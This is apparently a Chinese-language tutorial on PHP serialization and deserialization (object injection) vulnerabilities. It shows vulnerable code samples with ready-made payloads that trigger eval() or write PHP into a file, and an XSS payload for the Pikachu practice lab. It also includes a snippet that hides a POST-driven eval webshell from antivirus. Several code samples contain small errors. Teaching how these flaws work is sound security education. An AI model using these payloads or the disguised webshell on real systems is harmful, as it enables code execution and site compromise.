序列化与反序列化
什么是序列化?
将对象的状态信息转换为可以存储或传输形式的过程(字符串)。在序列化期间,对象将其当前的状态写入到临时(内存)或持久性存储区(硬盘)。以后可以通过从存储区中读取或者反序列化对象状态,重新创建状态。
简单来讲,序列化就是把一个对象变成可传输的字符串,可以以特定的格式在进程之间跨平台、安全的进行通信。字符串包括,属性名,属性值,属性类型和该对象对应的类名。
对象的序列化利于对象的保存和传输 ,也可以让多个文件共享对象。将用户存储到临时或硬盘中(数据库),可以理解为一个拍快照,通常使用非关系型数据库,如redis、 MongodDB等(非关系型数据库一般用来进行缓存数据)
常见的序列化格式:
二进制格式
字节数组
json字符串
xml字符串
使用json编码的方式来进行一个序列化过程的理解
源码:
<?php
$stu=array('name'=>'AJEST','age'=>18,SEX=>'man','score'=>90);
echo $stu;
$stu_json=json_encode($stu);
echo $str_json;
?>
上面是将一个抽象的数组数据结构,为了跨平台传输数据,我们可以将数据进行json编码,可以实现跨平台传输。
生活场景:
比如我们在某宝或者某夕夕买了一张电脑桌,桌子这种很不规则的东西,该怎么从一个城市运输到另一个城市,这时候一般都会把它拆掉成板子,再装到箱子里面,就可以快递寄出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传输的形式)。
也就是说,序列化的目的是方便数据的传输和存储。
PHP中序列化一般有以下几种,使用serialize()方法:
字符串序列化
数组对象序列化
对象序列化
字符串序列化
<?php
$a='test';
echo '序列化:‘;
$b=serialize($a);
print_r($b.'\n')
?>
输出结果:序列化:s:4:“test”;
序列化格式介绍 s表示字符串(string) , 4表示长度 ,test是值
数组对象序列化
<?php
$arr =array('name'=>'jack','age'=>13);
print_r(serialize($arr));
?>
输出结果 a:2:{s:4:“name”;s:4:“jack”;s:3:“age”;i:13;}
类对象序列化
<?php
class test{
public $a ='test';
}
$class =new test;
print_r(serialize($class));
?>
输出结果 O:4:“test”:1:{s:1:“a”;s:4:“test”;}
O表示类 ,4表示类名长度, test是类名,1代表类中有一个属性, s 字符串,1 长度1位, a是属性名, test 是属性的值。
序列化字符含义
a – array 数组
b – boolean 布尔型
d – double 双精度型
i – integer 整型
o – common object 一般对象
r – reference
s – string 字符串
C – custom object 自定义对象
O – class N – null 表示类
R – pointer reference
U – unicode string unicode编码的字符串
反序列化:
显而易见,那么就是序列化过程的逆向操作而已,也就是将字符串转换为对象的过程,类比上面买电脑桌的例子也就是我们把买来的电脑桌进行重新组装成一个整体的过程!
在PHP中,我们可以使用unserialize()方法进行反序列化。
<?php
class test{
public $a ='test';
}
$class =new test;
print_r(serialize($class));
$str=serialize($class);
echo '<hr>';
print_r(unserialize($str));//反序列化
?>
反序列化漏洞
PHP反序列化漏洞:
PHP中的反序化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这类类型的漏洞虽然有些难以利用,但是一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,从而造成代码执行、getshell等一些列不可控的后果。反序列化不是PHP的特有,也存在于Java、Python等语言中,但原理基本相通。
实质上反序列化本身并不危险,但是如果反序列化时传入反序列化函数的参数是用户可控的,并且使用了一些魔术方法,反序列化漏洞就产生了。
注意:反序列化漏洞并不是PHP独有的。
PHP中的magic方法(函数):
魔术方法就是在某些条件下自动执行的函数。
为什么会有魔术方法?
魔术方法是在需要实现一些功能,但是一般代码做不到或很难做到的时候才能用。在命名自己的类方法时不能使用这些方法名,除非是想使用其魔术功能。
PHP类可能会包含一些特殊的函数叫magic方法,magic方法命名是以符号__开头的,比如__construct()、__destruct()、__toString()、__sleep()、__wakeup()等等,这些函数在某些情况下会自动调用。
部分相关魔法方法:
__construct():构造函数,当对象创建(new)时会自动调用。unserialize()反序列化时是不会自动调用的。
__destruct():析构函数,当对象被销毁时会自动调用。
__wakeup():unserialize()时会检查是否存在 __wakeup(),如果存在,则会优先调用
__wakeup()方法。
__toString(): 用于处理一个类被当成字符串时应怎样回应,因此当一个对象被当作一个字符串时就会调用。
__sleep(): 用于提交未提交的数据,或类似的清理操作,因此当一个对象被序列化的时候被调用。
示例1:__wakeup
漏洞源码:
<?php
class A {
var $test = "demo";
function __wakeup() {
eval($this->test);
}
}
$b = new A();
$c = serialize($b);
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
payload: ?test=O:1:“A”:1:{s:4:“test”;s:10:“phpinfo();”;}
解释:传入的参数被反序列化,导致魔术方法__wakeup被自动调用,这时参数传入的值将被作为eval的参数使用,所以这里会因反序列化导致任意代码执行。
示例2:__wakeup和文件操作
<?php
require "test.php";//测试方便
class A {
var $test = '123';
function __wakeup() {
$fp = fopen("test.php", "w");
fwrite($fp, $this->test);
fclose($fp);
}
}
$a = new A();
print_r(serialize($a));
$class1 = $_GET['test'];
$class1_unser = unserialize($class1);
?>
payload: ?test=O:1:“A”:1:{s:4:“test”;s:18:"<?php phpinfo();?>";}
解释:和上面一一样,当传入的参数被反序列化时,魔术方法__wakeup被调用,传入的参数会作为fwrite的第二个参数直接写入test.php文件中,从而导致反序列化漏洞,写入一句话木马。
示例3:__construct
<?php
require 'test.php';
class b {
function __construct($test) {
$fp = fopen("test.php", 'w');
fwrite($fp, $test);
fclose($fp);
}
}
class a {
var $test = 123;
function __wakeup() {
$obj = new b($this->test);
}
}
$class = $_GET['test'];
$class_u = unserialize($class);
?>
payload: ?test=O:1:“A”:1:{s:4:“test”;s:18:"<?php phpinfo();?>";}
其他技巧:
利用反序列化进行一句话木马免杀:
<?php
class A{
var $test = "demo";
function __destruct(){
@eval($this->test);
}
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}";
// 构造序列化对象,用我们POST传过去的命令代码字符串覆盖$test="demo"
,从而执行恶意命令。
$test_unser = unserialize($pp)
; // 反序列化同时触发_destruct函数
?>
靶场演示
这里我们使用Pikachu靶场进行简单的漏洞演示,源代码如下:
根据上面的源码我们可以构造payload:
利用反序列化造成XSS漏洞
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}